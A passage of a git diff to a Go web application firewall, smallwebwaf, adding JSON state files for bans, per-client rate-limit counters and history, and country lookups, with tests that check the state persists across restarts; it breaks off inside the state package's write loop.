a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -1,11 +1,15 @@ -// Package ratelimit counts each client's requests over a minute, an hour -// and a day, as the "Counting method" section of SPEC.md describes, and -// tells when a request takes a client over a rate limit. The counts are -// kept in memory only, for at most 20,000 clients. +// Package ratelimit keeps the table of clients: each client's requests +// counted over a minute, an hour and a day, as the "Counting method" +// section of SPEC.md describes, which tell when a request takes the client +// over a rate limit, and each client's history since it was first seen. +// At most 20,000 clients are kept, in memory, and written to clients.json +// and read from it by the state package. package ratelimit import ( + "net/http" "net/netip" + "slices" "sync" "time" @@ -13,7 +17,8 @@ import ( ) // maxClients is how many clients are kept. Past it, the least recently -// seen client is dropped, and starts afresh if it comes back. +// seen client is dropped, with its history, and starts afresh if it comes +// back. const maxClients = 20000 const day = 24 * time.Hour @@ -26,20 +31,94 @@ type Limits struct { PerDay int64 } -// Limiter counts each client's requests against the limits. It is safe -// for concurrent use. +// Limiter counts each client's requests against the limits, and keeps +// its history. It is safe for concurrent use. type Limiter struct { + // windows are the minute, the hour and the day, in the order of + // Client.buckets. windows [3]window - mu sync.Mutex - // clients holds each client's buckets, one pair for each of windows, - // in the same order. - clients *simplelru.LRU[netip.Prefix, *[3]buckets] + mu sync.Mutex + clients *simplelru.LRU[netip.Prefix, *Client] +} + +// Client is a client in the table, as clients.json holds it: its buckets +// in each window, and its history. +type Client struct { + Client netip.Prefix `json:"client"` + Minute Buckets `json:"minute"` + Hour Buckets `json:"hour"` + Day Buckets `json:"day"` + History History `json:"history"` +} + +// Buckets are a client's two buckets in one window: the requests in the +// bucket under way, which began at Start, and in the bucket before it. +type Buckets struct { + Start time.Time `json:"start"` + Current int64 `json:"current"` + Previous int64 `json:"previous"` +} + +// History is what is known of a client since it was first seen. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does +type History struct { + FirstSeen time.Time `json:"first_seen"` + LastSeen time.Time `json:"last_seen"` + // Country is the client's country as it was last looked up, and + // LookedUp when that was; both are empty while it never was. + Country string `json:"country,omitempty"` + LookedUp time.Time `json:"looked_up,omitzero"` + // Requests are all the client's requests: Forwarded those passed to + // the app, Refused those refused before anything reached it. + Requests int64 `json:"requests"` + Forwarded int64 `json:"forwarded"` + Refused int64 `json:"refused"` + // RequestBytes and ResponseBytes are the body bytes of its requests + // and of the responses it was sent. + RequestBytes int64 `json:"request_bytes"` + ResponseBytes int64 `json:"response_bytes"` + Responses Responses `json:"responses,omitzero"` + Offences Offences `json:"offences,omitzero"` +} + +// Responses are the responses a client was sent, by status class; +// Status5xx counts every status from 500 up. +type Responses struct { + Status1xx int64 `json:"1xx,omitempty"` + Status2xx int64 `json:"2xx,omitempty"` + Status3xx int64 `json:"3xx,omitempty"` + Status4xx int64 `json:"4xx,omitempty"` + Status5xx int64 `json:"5xx,omitempty"` +} + +// Offences are a client's offences, by kind. +type Offences struct { + // Limit is its requests that broke a rate limit. + Limit int64 `json:"limit"` +} + +// Request is what a client's history keeps of one of its requests. +type Request struct { + // Country is the client's country, when the request looked it up. + Country string + // Forwarded is true for a request passed to the app, false for one + // refused before anything reached it. + Forwarded bool + // Status is what the client was sent, 0 if nothing was. + Status int + // RequestBytes and ResponseBytes are the body bytes of the request + // and of its response. + RequestBytes int64 + ResponseBytes int64 + // BrokeLimit is true for a request that broke a rate limit. + BrokeLimit bool } // New returns a Limiter for limits, with no client counted yet. func New(limits Limits) *Limiter { - clients, err := simplelru.NewLRU[netip.Prefix, *[3]buckets](maxClients, nil) + clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil) if err != nil { panic(err) // NewLRU fails only for a size below one } @@ -73,16 +152,12 @@ func (l *Limiter) Count(client netip.Prefix, now time.Time) (Hit, bool) { l.mu.Lock() defer l.mu.Unlock() - counts, seen := l.clients.Get(client) - if !seen { - counts = &[3]buckets{} - l.clients.Add(client, counts) - } - var hit Hit - for i, w := range l.windows { - requests := counts[i].add(now, w.length) + for i, b := range l.get(client).buckets() { + w := l.windows[i] + + requests := b.add(now, w.length) if hit.Window == "" && w.limit > 0 && requests > float64(w.limit) { hit = Hit{Window: w.name, Limit: w.limit, Requests: requests} } @@ -91,12 +166,135 @@ func (l *Limiter) Count(client netip.Prefix, now time.Time) (Hit, bool) { return hit, hit.Window != "" } -// Reset sets client's counts in every window back to zero. +// Reset sets client's counts in every window back to zero. Its history +// keeps its totals. func (l *Limiter) Reset(client netip.Prefix) { l.mu.Lock() defer l.mu.Unlock() - l.clients.Remove(client) + c, seen := l.clients.Peek(client) + if seen { + c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{} + } +} + +// AddToHistory adds r, a request from client at now, to the client's +// history. +func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { + l.mu.Lock() + defer l.mu.Unlock() + + h := &l.get(client).History + if h.FirstSeen.IsZero() { + h.FirstSeen = now + } + + h.LastSeen = now + + if r.Country != "" { + h.Country = r.Country + h.LookedUp = now + } + + h.Requests++ + if r.Forwarded { + h.Forwarded++ + } else { + h.Refused++ + } + + h.RequestBytes += r.RequestBytes + h.ResponseBytes += r.ResponseBytes + h.Responses.add(r.Status) + + if r.BrokeLimit { + h.Offences.Limit++ + } +} + +// Requests returns how many requests the clients inside netblock have +// sent, as their histories count them. +func (l *Limiter) Requests(netblock netip.Prefix) int64 { + l.mu.Lock() + defer l.mu.Unlock() + + // Most often the netblock is one client. + c, seen := l.clients.Peek(netblock) + if seen { + return c.History.Requests + } + + var requests int64 + + for _, c := range l.clients.Values() { + if netblock.Overlaps(c.Client) { + requests += c.History.Requests + } + } + + return requests +} + +// Snapshot returns every client in the table, sorted by address, as +// clients.json lists them. +func (l *Limiter) Snapshot() []Client { + l.mu.Lock() + + clients := make([]Client, 0, l.clients.Len()) + for _, c := range l.clients.Values() { + clients = append(clients, *c) + } + + l.mu.Unlock() + + slices.SortFunc(clients, func(a, b Client) int { + return a.Client.Compare(b.Client) + }) + + return clients +} + +// Load puts clients read from clients.json into a table that holds none +// yet, in the order they were last seen, so that the least recently seen +// is dropped first. Buckets whose time has passed at now are emptied. +func (l *Limiter) Load(clients []Client, now time.Time) { + l.mu.Lock() + defer l.mu.Unlock() + + clients = slices.Clone(clients) + slices.SortStableFunc(clients, func(a, b Client) int { + return a.History.LastSeen.Compare(b.History.LastSeen) + }) + + for _, c := range clients { + for i, b := range c.buckets() { + // The window that ends at now covers neither bucket once it + // begins after the bucket under way has ended. + length := l.windows[i].length + if !now.Add(-length).Before(b.Start.Add(length)) { + *b = Buckets{} + } + } + + l.clients.Add(c.Client, &c) + } +} + +// get returns client's entry in the table, a new one if it has none, and +// makes it the most recently seen. +func (l *Limiter) get(client netip.Prefix) *Client { + c, seen := l.clients.Get(client) + if !seen { + c = &Client{Client: client} + l.clients.Add(client, c) + } + + return c +} + +// buckets returns c's buckets in the minute, the hour and the day. +func (c *Client) buckets() [3]*Buckets { + return [3]*Buckets{&c.Minute, &c.Hour, &c.Day} } // window is a length of time over which requests are counted, and the @@ -107,14 +305,6 @@ type window struct { limit int64 } -// buckets are a client's two buckets in one window: the requests in the -// bucket under way, which began at start, and in the bucket before it. -type buckets struct { - start time.Time - current int64 - previous int64 -} - // add counts a request at now in a window of length, and returns the // client's requests in the window that ends at now: those in the bucket // under way, and those in the bucket before it weighted by how much of @@ -125,27 +315,44 @@ type buckets struct { // bucket. A request dated more than a second before it means the clock // was set back, and the buckets start afresh: otherwise the bucket before // would keep its full weight until the clock caught up. -func (b *buckets) add(now time.Time, length time.Duration) float64 { - if now.Before(b.start.Add(-time.Second)) { - *b = buckets{} +func (b *Buckets) add(now time.Time, length time.Duration) float64 { + if now.Before(b.Start.Add(-time.Second)) { + *b = Buckets{} } start := now.Truncate(length) - if start.After(b.start) { - if start.Equal(b.start.Add(length)) { - b.previous = b.current + if start.After(b.Start) { + if start.Equal(b.Start.Add(length)) { + b.Previous = b.Current } else { - b.previous = 0 + b.Previous = 0 } - b.start = start - b.current = 0 + b.Start = start + b.Current = 0 } - b.current++ + b.Current++ - elapsed := max(now.Sub(b.start), 0) + elapsed := max(now.Sub(b.Start), 0) covered := 1 - float64(elapsed)/float64(length) - return float64(b.previous)*covered + float64(b.current) + return float64(b.Previous)*covered + float64(b.Current) +} + +// add counts a response with status in its class. A status of 0, for +// nothing sent, is not a response. +func (r *Responses) add(status int) { + switch { + case status >= http.StatusInternalServerError: + r.Status5xx++ + case status >= http.StatusBadRequest: + r.Status4xx++ + case status >= http.StatusMultipleChoices: + r.Status3xx++ + case status >= http.StatusOK: + r.Status2xx++ + case status >= http.StatusContinue: + r.Status1xx++ + } } diff --git a/internal/ratelimit/snapshot_test.go b/internal/ratelimit/snapshot_test.go new file mode 100644 index 0000000..251ae4d --- /dev/null +++ b/internal/ratelimit/snapshot_test.go @@ -0,0 +1,122 @@ +package ratelimit_test + +import ( + "net/netip" + "slices" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/ratelimit" +) + +func TestSnapshotListsTheClientsByAddress(t *testing.T) { + t.Parallel() + + want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"} + + limiter := ratelimit.New(ratelimit.Limits{}) + for _, i := range []int{2, 3, 0, 1} { + limiter.Count(netip.MustParsePrefix(want[i]), midnight()) + } + + snapshot := limiter.Snapshot() + + got := make([]string, 0, len(snapshot)) + for _, c := range snapshot { + got = append(got, c.Client.String()) + } + + if !slices.Equal(got, want) { + t.Errorf("snapshot %v, want %v", got, want) + } + + counted := ratelimit.Buckets{Start: midnight(), Current: 1} + if snapshot[0].Minute != counted || snapshot[0].Day != counted { + t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day, + counted) + } +} + +func TestLoadedCountsCarryOn(t *testing.T) { + t.Parallel() + + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + before := ratelimit.New(ratelimit.Limits{PerHour: limit}) + for range limit { + wantCount(t, before, client, start, "") + } + + // Loaded into a new limiter, as across a restart, the client has no + // fresh allowance. + later := start.Add(time.Minute) + after := ratelimit.New(ratelimit.Limits{PerHour: limit}) + after.Load(before.Snapshot(), later) + wantCount(t, after, client, later, hour) +} + +func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { + t.Parallel() + + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + limiter := ratelimit.New(ratelimit.Limits{}) + limiter.Count(client, start) + limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) + + loaded := func(now time.Time) ratelimit.Client { + t.Helper() + + after := ratelimit.New(ratelimit.Limits{}) + after.Load(limiter.Snapshot(), now) + + return after.Snapshot()[0] + } + + // Two minutes on, the window that ends then covers neither of the + // minute's buckets, which are emptied; the hour's and the day's stay, + // and so does the history. + got := loaded(start.Add(2 * time.Minute)) + if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 || + got.Day.Current != 1 || got.History.Requests != 1 { + t.Errorf("loaded two minutes on as %+v", got) + } + + // A moment before, the window still covers some of the earlier one. + got = loaded(start.Add(2*time.Minute - time.Nanosecond)) + if got.Minute.Current != 1 { + t.Errorf("loaded just under two minutes on with minute buckets %+v", + got.Minute) + } +} + +func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) { + t.Parallel() + + const maxClients = 20000 + + // clients.json lists the clients by address. Here each was last seen + // a second before the one listed before it, so the last listed is the + // one seen longest ago, and the one dropped. + clients := make([]ratelimit.Client, maxClients+1) + addr := netip.MustParseAddr("10.0.0.0") + + for i := range clients { + clients[i].Client = netip.PrefixFrom(addr, addr.BitLen()) + clients[i].History.LastSeen = midnight().Add(-time.Duration(i) * time.Second) + addr = addr.Next() + } + + limiter := ratelimit.New(ratelimit.Limits{}) + limiter.Load(clients, midnight()) + + got := limiter.Snapshot() + if len(got) != maxClients || got[0].Client != clients[0].Client || + got[maxClients-1].Client != clients[maxClients-1].Client { + t.Errorf("%d clients kept, from %s to %s; want %d, from %s to %s", + len(got), got[0].Client, got[len(got)-1].Client, maxClients, + clients[0].Client, clients[maxClients-1].Client) + } +} diff --git a/internal/smallwebwaf/healthcheck_test.go b/internal/smallwebwaf/healthcheck_test.go index cabacf5..ae88403 100644 --- a/internal/smallwebwaf/healthcheck_test.go +++ b/internal/smallwebwaf/healthcheck_test.go @@ -24,12 +24,14 @@ func TestHealthCheck(t *testing.T) { out := &output{} exited := make(chan int, 1) + settings := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: app.URL, + stateDir: t.TempDir(), + } go func() { - exited <- run(ctx, map[string]string{ - listenAddr: localhost + ":0", - upstreamURL: app.URL, - }, out) + exited <- run(ctx, settings, out) }() addr, _ := out.line(t, "msg", "starting")["address"].(string) diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index f17c9c2..8be2729 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -1,6 +1,6 @@ -// Package smallwebwaf runs the smallwebwaf process: it reads the settings, -// serves requests until it is told to stop, and then stops in an orderly -// way. +// Package smallwebwaf runs the smallwebwaf process: it reads the settings +// and the state files, serves requests until it is told to stop, and then +// stops in an orderly way, writing the state files. package smallwebwaf import ( @@ -19,6 +19,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/state" ) // shutdownTimeout is how long requests in progress may take to finish @@ -55,8 +56,9 @@ func Main(version string) int { }) } -// Run reads the settings, then serves requests until ctx is done. It -// returns the process's exit status, 1 when smallwebwaf cannot start. +// Run reads the settings and the state files, then serves requests until +// ctx is done. It returns the process's exit status, 1 when smallwebwaf +// cannot start. func Run(ctx context.Context, params Params) int { processLog := requestlog.NewProcessLogger(params.Stdout) @@ -67,6 +69,33 @@ func Run(ctx context.Context, params Params) int { return 1 } + // The state files give times in UTC. + now := func() time.Time { return time.Now().UTC() } + + server := proxy.New(proxy.Params{ + Config: cfg, + RequestLog: params.Stdout, + ProcessLog: processLog, + GeoJSURL: lookup.URL, + Now: now, + }) + + files, err := state.Load(state.Params{ + Dir: cfg.StateDir, + WriteDelay: cfg.StateWriteDelay, + CounterInterval: cfg.StateCounterInterval, + Ledger: server.Ledger, + Limiter: server.Limiter, + GeoJS: server.GeoJS, + Now: now, + ProcessLog: processLog, + }) + if err != nil { + processLog.Error("cannot use the state files", "error", err.Error()) + + return 1 + } + listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) if err != nil { processLog.Error("cannot listen on SWWAF_LISTEN_ADDR", @@ -75,27 +104,20 @@ func Run(ctx context.Context, params Params) int { return 1 } - server := proxy.New(proxy.Params{ - Config: cfg, - RequestLog: params.Stdout, - ProcessLog: processLog, - GeoJSURL: lookup.URL, - Now: time.Now, - }) - processLog.Info("starting", "version", params.Version, "address", listener.Addr().String(), "settings", cfg) - return serve(ctx, server, listener, processLog) + return serve(ctx, server.Server, listener, files, processLog) } -// serve serves requests on listener until ctx is done, then gives the -// requests in progress shutdownTimeout to finish. +// serve serves requests on listener, and writes the state files as they +// are due, until ctx is done. Then it gives the requests in progress +// shutdownTimeout to finish, and writes every state file. func serve( ctx context.Context, server *http.Server, listener net.Listener, - processLog *slog.Logger, + files *state.Files, processLog *slog.Logger, ) int { served := make(chan error, 1) @@ -103,6 +125,16 @@ func serve( served <- server.Serve(listener) }() + writing, stopWriting := context.WithCancel(ctx) + defer stopWriting() + + written := make(chan struct{}) + + go func() { + files.Run(writing) + close(written) + }() + select { case err := <-served: processLog.Error("serving failed", "error", err.Error()) @@ -132,6 +164,21 @@ func serve( return 1 } + // Run's last write has ended, so nothing else writes the files. Every + // request has ended too, but for two kinds that Go's server does not + // wait for: one cut off because Shutdown timed out, and one whose + // connection switched protocols, such as a WebSocket. Such a request + // adds to its client's history only as it ends, which can be after + // this write, and then that request is missing from clients.json. + <-written + + err = files.WriteAll() + if err != nil { + processLog.Error("writing the state files failed", "error", err.Error()) + + return 1 + } + processLog.Info("stopped") return 0 diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index 8c67e45..a944172 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -8,6 +8,8 @@ import ( "net" "net/http" "net/http/httptest" + "os" + "path/filepath" "strings" "sync" "testing" @@ -24,9 +26,13 @@ const ( // testVersion is the version the tests give smallwebwaf. testVersion = "test" // localhost is where the tests listen. - localhost = "127.0.0.1" - listenAddr = "SWWAF_LISTEN_ADDR" - upstreamURL = "SWWAF_UPSTREAM_URL" + localhost = "127.0.0.1" + listenAddr = "SWWAF_LISTEN_ADDR" + upstreamURL = "SWWAF_UPSTREAM_URL" + stateDir = "SWWAF_STATE_DIR" + rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + // greeting is what the tests' app answers. + greeting = "hello from the app" ) // output collects what smallwebwaf writes on stdout. @@ -69,11 +75,19 @@ func (o *output) line(t *testing.T, key, value string) map[string]any { time.Sleep(pollInterval) } - t.Fatalf("no line with %s %q in the output:\n%s", key, value, o.buf.String()) + t.Fatalf("no line with %s %q in the output:\n%s", key, value, o.text()) return nil } +// text returns everything written so far. +func (o *output) text() string { + o.mu.Lock() + defer o.mu.Unlock() + + return o.buf.String() +} + // run runs smallwebwaf with the settings in env until ctx is done, and // returns its exit status. func run(ctx context.Context, env map[string]string, out *output) int { @@ -121,7 +135,10 @@ func TestAddressInUseStopsTheStart(t *testing.T) { out := &output{} - status := run(t.Context(), map[string]string{listenAddr: taken.Addr().String()}, out) + status := run(t.Context(), map[string]string{ + listenAddr: taken.Addr().String(), + stateDir: t.TempDir(), + }, out) if status != 1 { t.Errorf("exit status %d, want 1", status) } @@ -132,11 +149,8 @@ func TestAddressInUseStopsTheStart(t *testing.T) { func TestServesUntilToldToStop(t *testing.T) { t.Parallel() - app := httptest.NewServer(http.HandlerFunc( - func(w http.ResponseWriter, _ *http.Request) { - _, _ = io.WriteString(w, "hello from the app") - })) - defer app.Close() + appURL := startApp(t) + dir := t.TempDir() ctx, stop := context.WithCancel(t.Context()) out := &output{} @@ -145,12 +159,13 @@ func TestServesUntilToldToStop(t *testing.T) { go func() { exited <- run(ctx, map[string]string{ listenAddr: localhost + ":0", - upstreamURL: app.URL, + upstreamURL: appURL, + stateDir: dir, }, out) }() starting := out.line(t, "msg", "starting") - wantStartingLine(t, starting, app.URL) + wantStartingLine(t, starting, appURL, dir) addr, _ := starting["address"].(string) wantGreeting(t, "http://"+addr+"/") @@ -170,15 +185,184 @@ func TestServesUntilToldToStop(t *testing.T) { out.line(t, "msg", "stopped") } +func TestStateKeptAcrossRestarts(t *testing.T) { + t.Parallel() + + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rateLimitPerDay: "2", + // Neither comes due in the test: the files are written as + // smallwebwaf stops. + "SWWAF_STATE_WRITE_DELAY": "1h", + "SWWAF_STATE_COUNTER_INTERVAL": "1h", + } + + // The two requests a day allows, and a stop. + runUntilStopped(t, env, func(url string) { + wantGreeting(t, url) + wantGreeting(t, url) + }) + + // After a restart the client has no fresh allowance: its third + // request breaks the day limit, and bans it. + out := runUntilStopped(t, env, func(url string) { + wantRefused(t, url) + }) + out.line(t, "action", "rate_limited") + + // After another, the ban still refuses it. + out = runUntilStopped(t, env, func(url string) { + wantRefused(t, url) + }) + out.line(t, "action", "banned") +} + +func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) { + t.Parallel() + + const scope = "SWWAF_BAN_SCOPE_V4_PREFIX" + + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + "SWWAF_TRUSTED_PROXIES": localhost + "/32", + rateLimitPerDay: "1", + scope: "24", + } + + // 203.0.113.9's second request breaks the day limit, and bans + // 203.0.113.0/24. + runUntilStopped(t, env, func(url string) { + wantStatus(t, url, "203.0.113.9", http.StatusOK) + wantStatus(t, url, "203.0.113.9", http.StatusForbidden) + }) + + // With each address a netblock of its own after a restart, that ban + // still refuses all of 203.0.113.0/24. 198.51.100.7 is banned alone. + env[scope] = "32" + runUntilStopped(t, env, func(url string) { + wantStatus(t, url, "203.0.113.200", http.StatusForbidden) + wantStatus(t, url, "203.0.114.1", http.StatusOK) + wantStatus(t, url, "198.51.100.7", http.StatusOK) + wantStatus(t, url, "198.51.100.7", http.StatusForbidden) + }) + + // With /24 netblocks again, that ban still refuses 198.51.100.7, and + // no other address. + env[scope] = "24" + runUntilStopped(t, env, func(url string) { + wantStatus(t, url, "198.51.100.7", http.StatusForbidden) + wantStatus(t, url, "198.51.100.8", http.StatusOK) + }) +} + +func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + + err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600) + if err != nil { + t.Fatalf("write bans.json: %v", err) + } + + // The file ends at the newline that is the second byte of its first + // line. + wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ") +} + +func TestUnwritableStateDirStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartRefused(t, filepath.Join(t.TempDir(), "missing"), + "SWWAF_STATE_DIR cannot be written: ") +} + +// wantStartRefused runs smallwebwaf with its state files in dir, and +// checks that it stops at start, with an error that starts with want. If +// it starts instead, it is stopped after waitLimit. +func wantStartRefused(t *testing.T, dir, want string) { + t.Helper() + + ctx, stop := context.WithTimeout(t.Context(), waitLimit) + defer stop() + + out := &output{} + + status := run(ctx, map[string]string{listenAddr: localhost + ":0", stateDir: dir}, out) + if status != 1 { + t.Fatalf("exit status %d, want 1", status) + } + + line := out.line(t, "msg", "cannot use the state files") + message, _ := line["error"].(string) + + if !strings.HasPrefix(message, want) { + t.Errorf("start refused with %q, want an error starting %q", message, want) + } +} + +// startApp starts an app that answers every request with greeting, and +// returns its URL. +func startApp(t *testing.T) string { + t.Helper() + + app := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, greeting) + })) + t.Cleanup(app.Close) + + return app.URL +} + +// runUntilStopped runs smallwebwaf with the settings in env, has use send +// it requests at url, then stops it as SIGTERM does, checks that it +// stopped in order, and returns its output. +func runUntilStopped( + t *testing.T, env map[string]string, use func(url string), +) *output { + t.Helper() + + ctx, stop := context.WithCancel(t.Context()) + out := &output{} + exited := make(chan int, 1) + + go func() { + exited <- run(ctx, env, out) + }() + + addr, _ := out.line(t, "msg", "starting")["address"].(string) + use("http://" + addr + "/") + stop() + + select { + case status := <-exited: + if status != 0 { + t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text()) + } + case <-time.After(waitLimit): + t.Fatal("still running after being told to stop") + } + + return out +} + // wantStartingLine checks that the line at start gives the version and // every setting's value. -func wantStartingLine(t *testing.T, line map[string]any, appURL string) { +func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) { t.Helper() settings, _ := line["settings"].(map[string]any) want := map[string]any{ listenAddr: localhost + ":0", upstreamURL: appURL, + stateDir: dir, + "SWWAF_STATE_WRITE_DELAY": "10s", + "SWWAF_STATE_COUNTER_INTERVAL": "15m", "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES": "32K", @@ -193,7 +377,7 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { "SWWAF_DENY_NETS": "", "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", "SWWAF_RATE_LIMIT_PER_HOUR": "10000", - "SWWAF_RATE_LIMIT_PER_DAY": "50000", + rateLimitPerDay: "50000", "SWWAF_DENIED_COUNTRIES": "", "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "", "SWWAF_BAN_RESPONSE": "403", @@ -236,7 +420,61 @@ func wantGreeting(t *testing.T, url string) { body, err := io.ReadAll(res.Body) _ = res.Body.Close() - if err != nil || string(body) != "hello from the app" { + if err != nil || string(body) != greeting { t.Errorf("got %q (%v), want the app's answer", body, err) } } + +// wantRefused checks that a request to url is refused with 403, the +// default SWWAF_BAN_RESPONSE. +func wantRefused(t *testing.T, url string) { + t.Helper() + + req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url, + http.NoBody) + if err != nil { + t.Fatalf("new request: %v", err) + } + + transport := &http.Transport{} + defer transport.CloseIdleConnections() + + res, err := (&http.Client{Transport: transport}).Do(req) + if err != nil { + t.Fatalf("request: %v", err) + } + + _ = res.Body.Close() + + if res.StatusCode != http.StatusForbidden { + t.Errorf("status %d, want %d", res.StatusCode, http.StatusForbidden) + } +} + +// wantStatus checks that a request to url from the client at from, as +// X-Forwarded-For names it, is answered with status. +func wantStatus(t *testing.T, url, from string, status int) { + t.Helper() + + req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url, + http.NoBody) + if err != nil { + t.Fatalf("new request: %v", err) + } + + req.Header.Set("X-Forwarded-For", from) + + transport := &http.Transport{} + defer transport.CloseIdleConnections() + + res, err := (&http.Client{Transport: transport}).Do(req) + if err != nil { + t.Fatalf("request: %v", err) + } + + _ = res.Body.Close() + + if res.StatusCode != status { + t.Errorf("request from %s: status %d, want %d", from, res.StatusCode, status) + } +} diff --git a/internal/state/state.go b/internal/state/state.go new file mode 100644 index 0000000..5be31c4 --- /dev/null +++ b/internal/state/state.go @@ -0,0 +1,492 @@ +// Package state keeps smallwebwaf's state in JSON files in +// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: +// bans.json holds the bans, clients.json each client's counters and +// history, and lookups.json GeoJS's answers. Load reads them at start, and +// Run and WriteAll write them, each from a snapshot its part takes under +// its own lock, so that no request waits on the disk. +package state + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "io/fs" + "log/slog" + "net/netip" + "os" + "path/filepath" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" +) + +// version is the version of the files' format, the only one read. +const version = 1 + +// fileMode lets the smallwebwaf user alone read and write the files, which +// hold visitors' addresses. +const fileMode = 0o600 + +// The state files' names. +const ( + bansJSON = "bans.json" + clientsJSON = "clients.json" + lookupsJSON = "lookups.json" +) + +var ( + errVersion = errors.New("unknown version") + // errMissing is for an entry without a field it needs. + errMissing = errors.New("has no") +) + +// Params are what Load needs. +type Params struct { + // Dir is the directory of the state files (SWWAF_STATE_DIR). + Dir string + // WriteDelay is how long after a ban is made bans.json is written + // (SWWAF_STATE_WRITE_DELAY), and CounterInterval how often every file + // is (SWWAF_STATE_COUNTER_INTERVAL). + WriteDelay time.Duration + CounterInterval time.Duration + // Ledger, Limiter and GeoJS hold the state. + Ledger *bans.Ledger + Limiter *ratelimit.Limiter + GeoJS *lookup.GeoJS + // Now tells the time by which the counters' buckets run out, normally + // time.Now in UTC. + Now func() time.Time + // ProcessLog receives what was read, and the writes that fail. + ProcessLog *slog.Logger +} + +// Files are the state files of a running smallwebwaf. +type Files struct { + params Params +} + +// bansFile is bans.json, indented for an admin to read and edit. +type bansFile struct { + Version int `json:"version"` + Bans []banEntry `json:"bans"` +} + +// banEntry is a ban as bans.json holds it: a permanent ban's expires is +// null. +type banEntry struct { + Netblock netip.Prefix `json:"netblock"` + Start time.Time `json:"start"` + Expires *time.Time `json:"expires"` + Notes bans.Notes `json:"notes"` +} + +// clientsFile is clients.json, with each client on a line of its own. +type clientsFile struct { + Version int `json:"version"` + Clients []ratelimit.Client `json:"clients"` +} + +// lookupsFile is lookups.json, with each answer on a line of its own. +type lookupsFile struct { + Version int `json:"version"` + Lookups []lookup.Answer `json:"lookups"` +} + +// stateFile is the struct of a state file. Once the file is decoded, its +// check refuses the first entry without a field it needs, which would +// otherwise be read as something the entry does not say. data is the +// file, for a field that may be null or "" but not left out, which the +// struct cannot tell apart. +type stateFile interface { + check(data []byte) error +} + +// Load checks that files can be written in Dir, and reads the state files +// in it into the ledger, the limiter and GeoJS. A missing file is empty +// state, as on a first start. A file that does not parse, has an unknown +// version, or has an entry without a field it needs, is an error that +// names the file and, where the JSON decoder tells it, the line and +// column, or else the entry. +func Load(params Params) (*Files, error) { + err := checkWritable(params.Dir) + if err != nil { + return nil, fmt.Errorf("SWWAF_STATE_DIR cannot be written: %w", err) + } + + var ( + bansIn bansFile + clientsIn clientsFile + lookupsIn lookupsFile + ) + + err = errors.Join( + read(params.Dir, bansJSON, &bansIn), + read(params.Dir, clientsJSON, &clientsIn), + read(params.Dir, lookupsJSON, &lookupsIn), + ) + if err != nil { + return nil, err + } + + held := make([]bans.Ban, 0, len(bansIn.Bans)) + for _, entry := range bansIn.Bans { + held = append(held, entry.ban()) + } + + params.Ledger.Load(held) + params.Limiter.Load(clientsIn.Clients, params.Now()) + params.GeoJS.Load(lookupsIn.Lookups) + + params.ProcessLog.Info("read the state files", "directory", params.Dir, + "bans", len(bansIn.Bans), "clients", len(clientsIn.Clients), + "lookups", len(lookupsIn.Lookups)) + + return &Files{params: params}, nil +} + +// Run writes bans.json WriteDelay after a ban is made, with every ban +// made in between, and every file every CounterInterval, until ctx is +// done. A write that fails is logged, and the file is written again at +// its next write. +func (f *Files) Run(ctx context.Context) { + interval := time.NewTicker(f.params.CounterInterval) + defer interval.Stop() + + var bansDue <-chan time.Time // nil while no ban waits to be written + + for { + select { + case <-ctx.Done(): + return + case 